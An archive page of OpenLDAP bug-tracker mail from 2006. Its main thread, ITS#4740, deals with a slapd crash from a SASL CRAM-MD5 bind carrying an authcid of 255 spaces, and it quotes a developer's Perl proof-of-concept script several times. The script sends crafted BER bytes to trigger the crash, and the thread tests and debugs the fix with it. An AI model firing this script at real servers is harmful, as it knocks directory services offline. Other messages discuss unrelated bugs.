ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0 <<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth> ==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth <==slap_sasl2dn: Converted SASL name to <nothing> SASL Canonicalize [conn=2]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth" SASL [conn=2] Failure: no secret in database send_ldap_result: conn=2 op=1 p=3 send_ldap_result: err=49 matched="" text="SASL(-13): user not found: no secret in database" send_ldap_response: msgid=1254 tag=97 err=49 <== slap_sasl_bind: rc=49 connection_resched: attempting closing conn=2 sd=12 connection_close: conn=2 sd=12 -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

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Re: (ITS#4740) SASL bind assert
by Kurt＠OpenLDAP.org 28 Nov '06

28 Nov '06

At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote: >Spoke too soon. >You code appears to be sending the same requests as >Nessus, at least as described here: > http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625 > >Suspect a mismatch between what you and Brian are >testing... Howard, is the normalized authcDN in your testing correct? >Kurt > >At 07:30 PM 11/27/2006, Kurt(a)OpenLDAP.org wrote: >> From the provided log, looks like it's a SASL/CRAM-MD5 >>authentication with lots of spaces in the authcid. >> >>Logs: >>>>>> dnPrettyNormal: <> >>><<< dnPrettyNormal: <>, <> >>>do_sasl_bind: dn () mech CRAM-MD5 >> >>empty bind DN >> >>>==> sasl_bind: dn="" mech=<continuing> datalen=1024 >>>SASL Canonicalize [conn=21]: >>>authcid=" >>>" >> >>authcid of spaces. >> >>>slap_sasl_getdn: conn 21 >>>id= >>>[len=255] >> >>255 spaces. >> >>>=> ldap_dn2bv(16) >>><= >>>ldap_dn2bv(uid=\20 >>>\20,cn=CRAM-MD5,cn=auth)=0 >>>slap_sasl_getdn: u:id converted to >>>uid=\20 >>>\20,cn=CRAM-MD5,cn=auth >> >>OKAY. >> >>>>>> dnNormalize: >>><uid=\20 >>>\20,cn=CRAM-MD5,cn=auth> >>>=> >>>ldap_bv2dn(uid=\20 >>>\20,cn=CRAM-MD5,cn=auth,0) >>><= >>>ldap_bv2dn(uid=\20 >>>\20,cn=CRAM-MD5,cn=auth)=0 >>>=> ldap_dn2bv(272) >>><= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0 >> >>BAD! We lost 254 spaces (last of which was escaped). >> >>><<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth> >>>==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN >>>slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth >>><==slap_sasl2dn: Converted SASL name to <nothing> >>>SASL Canonicalize [conn=21]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth" >>> >> >>At 07:13 PM 11/27/2006, hyc(a)symas.com wrote: >>>bthomas(a)google.com wrote: >>>> ------=_Part_8120_20176863.1164676496288 >>>> Content-Type: text/plain; charset=ISO-8859-1; format=flowed >>>> Content-Transfer-Encoding: 7bit >>>> Content-Disposition: inline >>>> >>>> Hello, >>>> >>>> It would appear from my testing that this bug is not fixed. I have compiled >>>> and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has >>>> the fixes that were introduced in 1.134. However, a nessus scan that >>>> attempts to exploit this bug still succeeds in crashing slapd, with debug >>>> output attached below (I've snipped the actual data passsed in, suffice to >>>> say it's 255 0x20's). >>>> >>>> I'm happy to provide any other information as needed. I've taken a look at >>>> the diffs but haven't been able to find what the problem is. >>> >>>This is the perl script I used to verify the bug here. slapd works fine >>>for me with this. If you can tell us how to reproduce the crash, we can >>>investigate further. >>> >>>use IO::Socket; >>> >>> my $host = "localhost"; >>> my $port = 9011; >>> >>> my $sock = IO::Socket::INET->new( >>> Proto => "tcp", >>> PeerAddr => $host, >>> PeerPort => $port, ) >>> or die "Error creating socket"; >>> >>> print "Sending LDAP BIND request...\n"; >>> >>> my >>>$s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04"; >>> $s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35"; >>> print $sock $s; >>> >>> my $buf = ' '; >>> read( $sock, $buf, 24 ); >>> >>> $s = >>>"\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04"; >>> $s .= >>>"\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04"; >>> $s .= "\x82\x04\x00"; >>> $s .= "\x20" x 1024; >>> >>> print "Sending second LDAP BIND request...\n"; >>> >>> print $sock $s; >>> close $sock; >>> >>> print "Done\n"; >>> >>>-- >>> -- Howard Chu >>> Chief Architect, Symas Corp. http://www.symas.com >>> Director, Highland Sun http://highlandsun.com/hyc >>> OpenLDAP Core Team http://www.openldap.org/project/

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Re: (ITS#4740) SASL bind assert
by Kurt＠OpenLDAP.org 28 Nov '06

28 Nov '06

Spoke too soon. You code appears to be sending the same requests as Nessus, at least as described here: http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625 Suspect a mismatch between what you and Brian are testing... Kurt At 07:30 PM 11/27/2006, Kurt(a)OpenLDAP.org wrote: > From the provided log, looks like it's a SASL/CRAM-MD5 >authentication with lots of spaces in the authcid. > >Logs: >>>>> dnPrettyNormal: <> >><<< dnPrettyNormal: <>, <> >>do_sasl_bind: dn () mech CRAM-MD5 > >empty bind DN > >>==> sasl_bind: dn="" mech=<continuing> datalen=1024 >>SASL Canonicalize [conn=21]: >>authcid=" >>" > >authcid of spaces. > >>slap_sasl_getdn: conn 21 >>id= >>[len=255] > >255 spaces. > >>=> ldap_dn2bv(16) >><= >>ldap_dn2bv(uid=\20 >>\20,cn=CRAM-MD5,cn=auth)=0 >>slap_sasl_getdn: u:id converted to >>uid=\20 >>\20,cn=CRAM-MD5,cn=auth > >OKAY. > >>>>> dnNormalize: >><uid=\20 >>\20,cn=CRAM-MD5,cn=auth> >>=> >>ldap_bv2dn(uid=\20 >>\20,cn=CRAM-MD5,cn=auth,0) >><= >>ldap_bv2dn(uid=\20 >>\20,cn=CRAM-MD5,cn=auth)=0 >>=> ldap_dn2bv(272) >><= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0 > >BAD! We lost 254 spaces (last of which was escaped). > >><<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth> >>==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN >>slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth >><==slap_sasl2dn: Converted SASL name to <nothing> >>SASL Canonicalize [conn=21]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth" >> > >At 07:13 PM 11/27/2006, hyc(a)symas.com wrote: >>bthomas(a)google.com wrote: >>> ------=_Part_8120_20176863.1164676496288 >>> Content-Type: text/plain; charset=ISO-8859-1; format=flowed >>> Content-Transfer-Encoding: 7bit >>> Content-Disposition: inline >>> >>> Hello, >>> >>> It would appear from my testing that this bug is not fixed. I have compiled >>> and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has >>> the fixes that were introduced in 1.134. However, a nessus scan that >>> attempts to exploit this bug still succeeds in crashing slapd, with debug >>> output attached below (I've snipped the actual data passsed in, suffice to >>> say it's 255 0x20's). >>> >>> I'm happy to provide any other information as needed. I've taken a look at >>> the diffs but haven't been able to find what the problem is. >> >>This is the perl script I used to verify the bug here. slapd works fine >>for me with this. If you can tell us how to reproduce the crash, we can >>investigate further. >> >>use IO::Socket; >> >> my $host = "localhost"; >> my $port = 9011; >> >> my $sock = IO::Socket::INET->new( >> Proto => "tcp", >> PeerAddr => $host, >> PeerPort => $port, ) >> or die "Error creating socket"; >> >> print "Sending LDAP BIND request...\n"; >> >> my >>$s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04"; >> $s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35"; >> print $sock $s; >> >> my $buf = ' '; >> read( $sock, $buf, 24 ); >> >> $s = >>"\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04"; >> $s .= >>"\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04"; >> $s .= "\x82\x04\x00"; >> $s .= "\x20" x 1024; >> >> print "Sending second LDAP BIND request...\n"; >> >> print $sock $s; >> close $sock; >> >> print "Done\n"; >> >>-- >> -- Howard Chu >> Chief Architect, Symas Corp. http://www.symas.com >> Director, Highland Sun http://highlandsun.com/hyc >> OpenLDAP Core Team http://www.openldap.org/project/

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Re: (ITS#4740) SASL bind assert
by Kurt＠OpenLDAP.org 28 Nov '06

28 Nov '06

From the provided log, looks like it's a SASL/CRAM-MD5 authentication with lots of spaces in the authcid. Logs: >>>> dnPrettyNormal: <> ><<< dnPrettyNormal: <>, <> >do_sasl_bind: dn () mech CRAM-MD5 empty bind DN >==> sasl_bind: dn="" mech=<continuing> datalen=1024 >SASL Canonicalize [conn=21]: >authcid=" >" authcid of spaces. >slap_sasl_getdn: conn 21 >id= >[len=255] 255 spaces. >=> ldap_dn2bv(16) ><= >ldap_dn2bv(uid=\20 >\20,cn=CRAM-MD5,cn=auth)=0 >slap_sasl_getdn: u:id converted to >uid=\20 >\20,cn=CRAM-MD5,cn=auth OKAY. >>>> dnNormalize: ><uid=\20 >\20,cn=CRAM-MD5,cn=auth> >=> >ldap_bv2dn(uid=\20 >\20,cn=CRAM-MD5,cn=auth,0) ><= >ldap_bv2dn(uid=\20 >\20,cn=CRAM-MD5,cn=auth)=0 >=> ldap_dn2bv(272) ><= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0 BAD! We lost 254 spaces (last of which was escaped). ><<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth> >==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN >slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth ><==slap_sasl2dn: Converted SASL name to <nothing> >SASL Canonicalize [conn=21]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth" > At 07:13 PM 11/27/2006, hyc(a)symas.com wrote: >bthomas(a)google.com wrote: >> ------=_Part_8120_20176863.1164676496288 >> Content-Type: text/plain; charset=ISO-8859-1; format=flowed >> Content-Transfer-Encoding: 7bit >> Content-Disposition: inline >> >> Hello, >> >> It would appear from my testing that this bug is not fixed. I have compiled >> and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has >> the fixes that were introduced in 1.134. However, a nessus scan that >> attempts to exploit this bug still succeeds in crashing slapd, with debug >> output attached below (I've snipped the actual data passsed in, suffice to >> say it's 255 0x20's). >> >> I'm happy to provide any other information as needed. I've taken a look at >> the diffs but haven't been able to find what the problem is. > >This is the perl script I used to verify the bug here. slapd works fine >for me with this. If you can tell us how to reproduce the crash, we can >investigate further. > >use IO::Socket; > > my $host = "localhost"; > my $port = 9011; > > my $sock = IO::Socket::INET->new( > Proto => "tcp", > PeerAddr => $host, > PeerPort => $port, ) > or die "Error creating socket"; > > print "Sending LDAP BIND request...\n"; > > my >$s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04"; > $s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35"; > print $sock $s; > > my $buf = ' '; > read( $sock, $buf, 24 ); > > $s = >"\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04"; > $s .= >"\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04"; > $s .= "\x82\x04\x00"; > $s .= "\x20" x 1024; > > print "Sending second LDAP BIND request...\n"; > > print $sock $s; > close $sock; > > print "Done\n"; > >-- > -- Howard Chu > Chief Architect, Symas Corp. http://www.symas.com > Director, Highland Sun http://highlandsun.com/hyc > OpenLDAP Core Team http://www.openldap.org/project/

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Re: (ITS#4740) SASL bind assert
by hyc＠symas.com 28 Nov '06

28 Nov '06

bthomas(a)google.com wrote: > ------=_Part_8120_20176863.1164676496288 > Content-Type: text/plain; charset=ISO-8859-1; format=flowed > Content-Transfer-Encoding: 7bit > Content-Disposition: inline > > Hello, > > It would appear from my testing that this bug is not fixed. I have compiled > and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has > the fixes that were introduced in 1.134. However, a nessus scan that > attempts to exploit this bug still succeeds in crashing slapd, with debug > output attached below (I've snipped the actual data passsed in, suffice to > say it's 255 0x20's). > > I'm happy to provide any other information as needed. I've taken a look at > the diffs but haven't been able to find what the problem is. This is the perl script I used to verify the bug here. slapd works fine for me with this. If you can tell us how to reproduce the crash, we can investigate further. use IO::Socket; my $host = "localhost"; my $port = 9011; my $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => $port, ) or die "Error creating socket"; print "Sending LDAP BIND request...\n"; my $s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04"; $s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35"; print $sock $s; my $buf = ' '; read( $sock, $buf, 24 ); $s = "\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04"; $s .= "\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04"; $s .= "\x82\x04\x00"; $s .= "\x20" x 1024; print "Sending second LDAP BIND request...\n"; print $sock $s; close $sock; print "Done\n"; -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

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Re: (ITS#4740) SASL bind assert
by bthomas＠google.com 28 Nov '06

28 Nov '06

------=_Part_8120_20176863.1164676496288 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Hello, It would appear from my testing that this bug is not fixed. I have compiled and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has the fixes that were introduced in 1.134. However, a nessus scan that attempts to exploit this bug still succeeds in crashing slapd, with debug output attached below (I've snipped the actual data passsed in, suffice to say it's 255 0x20's). I'm happy to provide any other information as needed. I've taken a look at the diffs but haven't been able to find what the problem is. Brian ber_scanf fmt (}}) ber: ber_dump: buf=0x09efba28 ptr=0x09efbe47 end=0x09efbe47 len=0 >>> dnPrettyNormal: <> <<< dnPrettyNormal: <>, <> do_sasl_bind: dn () mech CRAM-MD5 ==> sasl_bind: dn="" mech=<continuing> datalen=1024 SASL Canonicalize [conn=21]: authcid=" " slap_sasl_getdn: conn 21 id= [len=255] => ldap_dn2bv(16) <= ldap_dn2bv(uid=\20 \20,cn=CRAM-MD5,cn=auth)=0 slap_sasl_getdn: u:id converted to uid=\20 \20,cn=CRAM-MD5,cn=auth >>> dnNormalize: <uid=\20 \20,cn=CRAM-MD5,cn=auth> => ldap_bv2dn(uid=\20 \20,cn=CRAM-MD5,cn=auth,0) <= ldap_bv2dn(uid=\20 \20,cn=CRAM-MD5,cn=auth)=0 => ldap_dn2bv(272) <= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0 <<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth> ==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth <==slap_sasl2dn: Converted SASL name to <nothing> SASL Canonicalize [conn=21]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth" ------=_Part_8120_20176863.1164676496288 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Hello, It would appear from my testing that this bug is not fixed. I= have compiled and installed 2.3.30 and verified that my version of getdn.c= (<a href=3D"http://1.124.2.5">1.124.2.5</a>) has the fixes that were intro= duced in=20 1.134. However, a nessus scan that attempts to exploit this bug still succe= eds in crashing slapd, with debug output attached below (I've snipped the a= ctual data passsed in, suffice to say it's 255 0x20's). I'm happy t= o provide any other information as needed. I've taken a look at the diffs b= ut haven't been able to find what the problem is. Brian ber_scanf fmt (}}) ber: ber_dump: buf=3D0x09efba28 = ptr=3D0x09efbe47 end=3D0x09efbe47 len=3D0 >>> dnPrettyNorma= l: <> <<< dnPrettyNormal: <>, <> do_sasl_b= ind: dn () mech CRAM-MD5 =3D=3D> sasl_bind: dn=3D"" mech=3D<continuing> datal= en=3D1024 SASL Canonicalize [conn=3D21]: authcid=3D"  &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =         " slap_sasl_getdn: conn 21 id=3D      &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;    [len=3D255] =3D> ldap_dn2bv(16) <=3D ldap_dn2bv(uid=3D\20  &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;            \20,= cn=3DCRAM-MD5,cn=3Dauth)=3D0 slap_sasl_getdn: u:id converted to uid=3D\20    &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =             &nb= sp;            =            \20,cn=3DCRAM-= MD5,cn=3Dauth >>> dnNormalize: <uid=3D\20     &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;            &n= bsp;           &nbsp= ;          \20,cn=3DCRAM-MD5,c= n=3Dauth> =3D> ldap_bv2dn(uid=3D\20       &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;        \20,cn=3DCRAM-MD5,cn=3Dauth,0) <=3D ldap_bv2dn(uid=3D\20       &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;            &= nbsp;           &nbs= p;        \20,cn=3DCRAM-MD5,cn=3Dauth)= =3D0 =3D> ldap_dn2bv(272) <=3D ldap_dn2bv(uid=3D\20,cn=3Dcram-md5,c= n=3Dauth)=3D0 <<< dnNormalize: <uid=3D\20,cn=3Dcram-md5,cn= =3Dauth> =3D=3D>slap_sasl2dn: converting SASL name uid=3D\20,cn=3D= cram-md5,cn=3Dauth to a DN slap_authz_regexp: converting SASL name uid=3D\20,cn=3Dcram-md5,cn=3Dau= th <=3D=3Dslap_sasl2dn: Converted SASL name to <nothing> SAS= L Canonicalize [conn=3D21]: slapAuthcDN=3D"uid=3D\20,cn=3Dcram-md5,cn= =3Dauth" ------=_Part_8120_20176863.1164676496288--

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Re: (ITS#4675) slapd bus error when searching in a subtree
by hyc＠symas.com 27 Nov '06

27 Nov '06

ghen(a)telenet.be wrote: > On Fri, Nov 17, 2006 at 12:19:58PM -0800, Quanah Gibson-Mount wrote: >> --On Wednesday, November 15, 2006 3:53 PM +0000 ghen(a)telenet.be wrote: >>> Why was tick ticket closed? The problem still exists. >> Did you read the notes in the ITS system? > > I did. It says "NetBSD-specific, raise stacksize ulimit". I hope you > don't count such a work-around as a fix... The fact that altering your ulimit changes the behavior indicates that your OS's pthread implementation is broken. We cannot fix that. We use the documented, portable pthread API to specify the stack size that we need for each thread, and it seems your platform will not honor our request without you raising your ulimit. The stacksize ulimit should only affect non-threaded processes, or the main thread in a threaded process. It should not affect any threads created by the application, especially when we set an explicit size at thread creation time. So you have to set an explicit ulimit before starting slapd. This is no different from having to set the nfiles limit on some platforms to raise the number of available file descriptors. That's an administration detail, not a software bug. -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

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Re: (ITS#4675) slapd bus error when searching in a subtree
by ghen＠telenet.be 27 Nov '06

27 Nov '06

On Fri, Nov 17, 2006 at 12:19:58PM -0800, Quanah Gibson-Mount wrote: > --On Wednesday, November 15, 2006 3:53 PM +0000 ghen(a)telenet.be wrote: > >Why was tick ticket closed? The problem still exists. > > Did you read the notes in the ITS system? I did. It says "NetBSD-specific, raise stacksize ulimit". I hope you don't count such a work-around as a fix... Geert

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(ITS#4763) slapd crashed with ldapsearch command without arguments
by saint.cn＠gmail.com 27 Nov '06

27 Nov '06

Full_Name: Jack Chen Version: 2.3.27 OS: Redhat AS 3.0 2.4.21-40.ELsmp URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (60.12.9.18) I found when I run ldap commands without arguments always get password imput requirement before result. But the command always told me "ldap_sasl_interactive_bind_s: Can't contact LDAP server". Then I found the slapd crashed. Then I start slpad with command like "slpad -d 256" with root account and want to get debug information before slpad crash. Then following is the startup information: ===================================================================== @(#) $OpenLDAP: slapd 2.3.27 (Sep 30 2006 16:10:17) $ root@caivs:/home/jack/tools/openldap-2.3.27/servers/slapd daemon: IPv6 socket() failed errno=97 (Address family not supported by protocol) bdb_db_open: unclean shutdown detected; attempting recovery. bdb_db_open: Warning - No DB_CONFIG file found in directory /usr/local/openldap/var/openldap-data: (2) Expect poor performance for suffix dc=test,dc=com. slapd starting ===================================================================== And when I input command "ldapsearch" in shell with root account, and input password with any words and return. The command tell me like following: ===================================================================== /usr/local/BerkeleyDB.4.5/bin:$ldapsearch SASL/DIGEST-MD5 authentication started Please enter your password: ldap_sasl_interactive_bind_s: Can't contact LDAP server ===================================================================== And I check the console which is running slapd, and get following information: ===================================================================== conn=0 fd=10 ACCEPT from IP=127.0.0.1:33518 (IP=0.0.0.0:389) conn=0 op=0 SRCH base="" scope=0 deref=0 filter="(objectClass=*)" conn=0 op=0 SRCH attr=supportedSASLMechanisms conn=0 op=0 SEARCH RESULT tag=101 err=0 nentries=1 text= conn=0 op=1 BIND dn="" method=163 conn=0 op=1 RESULT tag=97 err=14 text= conn=0 op=2 BIND dn="" method=163 /etc/sasldb2: Successful return: 0 segment fault (core dumped) ===================================================================== Because I'v set "ulimit -c 10000000", so get a coredump file additionally with no debug info inside.

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Re: (ITS#4756) IPv6 Addresses are not supported in ACL peername
by hyc＠symas.com 25 Nov '06

25 Nov '06

ando(a)sys-net.it wrote: > Damon.Groenveld(a)ca.com wrote: >> Given that the code (in aclparse.c) calls inet_addr() with the >> peername.ip parameter, I can't see how it could will work with IPv6. >> >> The only possible workaround is using a regex instead of ip type which >> by passes the inet_addr() call. >> >> I raised it as a bug since the latest version (as far as I can tell) is >> meant to support IPv6 and there is no way that peername.ip does and >> there isn't an alternative. >> > The peername.ip was designed with IPv4 in mind. A patch to support IPv6 > in ACLs would be welcome, though. In the meanwhile, I believe a regex > style would be the solution, but note that I have no idea of how IPv6 > would be stringified in the peername. Note that the whole issue is of > questionable relevance, since IP-based access checking is not considered > trustable. Yes, peername.regex works fine. Currently IPv6 peernames are reported as colon-separated hex octets followed by a space, then the port number: "xxxx:....:zzzz ppppp". It strikes me that we should be using URL format instead, which uses square brackets: "[xxxx:....:zzzz]:ppppp". -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

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Re: (ITS#4756) IPv6 Addresses are not supported in ACL peername
by ando＠sys-net.it 25 Nov '06

25 Nov '06

Damon.Groenveld(a)ca.com wrote: > Given that the code (in aclparse.c) calls inet_addr() with the > peername.ip parameter, I can't see how it could will work with IPv6. > > The only possible workaround is using a regex instead of ip type which > by passes the inet_addr() call. > > I raised it as a bug since the latest version (as far as I can tell) is > meant to support IPv6 and there is no way that peername.ip does and > there isn't an alternative. > The peername.ip was designed with IPv4 in mind. A patch to support IPv6 in ACLs would be welcome, though. In the meanwhile, I believe a regex style would be the solution, but note that I have no idea of how IPv6 would be stringified in the peername. Note that the whole issue is of questionable relevance, since IP-based access checking is not considered trustable. > I asked the question regarding other ways to restrict access since I > noted that the documentation mentions TCP Wrappers and has a see also of > host_options(5) -- which does not exist, Apparently that should be hosts_options(5): $ apropos hosts_options hosts_options (5) - host access control language extensions Can you point me to the incorrect documentation? > so I was hoping that some > advice might come while someone looked at the problem (if or when it was > deemed important enough). > p. Ing. Pierangelo Masarati OpenLDAP Core Team SysNet s.n.c. Via Dossi, 8 - 27100 Pavia - ITALIA http://www.sys-net.it ------------------------------------------ Office: +39.02.23998309 Mobile: +39.333.4963172 Email: pierangelo.masarati(a)sys-net.it ------------------------------------------

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Re: (ITS#4758) valsort + dynlist can cause 100% cpu utilization causing slapd to become unresponsive
by ando＠sys-net.it 25 Nov '06

25 Nov '06

michael.heep(a)o2.com wrote: > the following valsort + dynlist combination causes slapd to utilize 100% cpu > time when issueing searches against parts of the DIT containing attribute-value > pairs "created" by dynlist: > > overlay dynlist > dynlist-attrset extensibleObject memberURL uniqueMember > > overlay valsort > valsort-attr uniqueMember dc=o2online,dc=de alpha-ascend > > When run independent both overlays work flawlessly. > To be honest, I don't quite see the point in keeping sorted a set of values that by definition is dynamically built. There seems to be contradiction between the two overlays that prevents them from being used together anyway. If your intention is to partition a tree so that the intersection of data subjected to valsort and data subjected to dynlist is empty, then I guess the solution is to use the <attri> and <baseDN> parameters of valsort to exclude those entries that are subjected to dynlist. If this is not enough, you could ask for an enhancement that turns the <attr> <baseDN> into a more general specification that allows increased granularity; for example, an attr and a filter, which incidentally could be specified by means of an URL so that base, attribute list, scope and filter can be present. p. Ing. Pierangelo Masarati OpenLDAP Core Team SysNet s.n.c. Via Dossi, 8 - 27100 Pavia - ITALIA http://www.sys-net.it ------------------------------------------ Office: +39.02.23998309 Mobile: +39.333.4963172 Email: pierangelo.masarati(a)sys-net.it ------------------------------------------

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Re: (ITS#4762) Bugs in meta backend
by Kurt＠OpenLDAP.org 24 Nov '06

24 Nov '06

As there is no major security issue here, this report is now public. At 03:01 AM 11/24/2006, jerome.thevenet(a)aviation-civile.gouv.fr wrote: >Full_Name: >Version: 2.3.27 >OS: ubuntu >URL: ftp://ftp.openldap.org/incoming/ >Submission from: (NULL) (213.41.243.192) > > >In Database meta: >When we define several servers (uri: ldap//....), >onerr CONTINUE > >If all servers are ok, the research is ok. >But if one of them is off, the result of a research is error 52 even if the >others send good result. > >Thanks

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RE: (ITS#4760) problem with group caching and proxyAuth control
by richter＠ecos.de 24 Nov '06

24 Nov '06

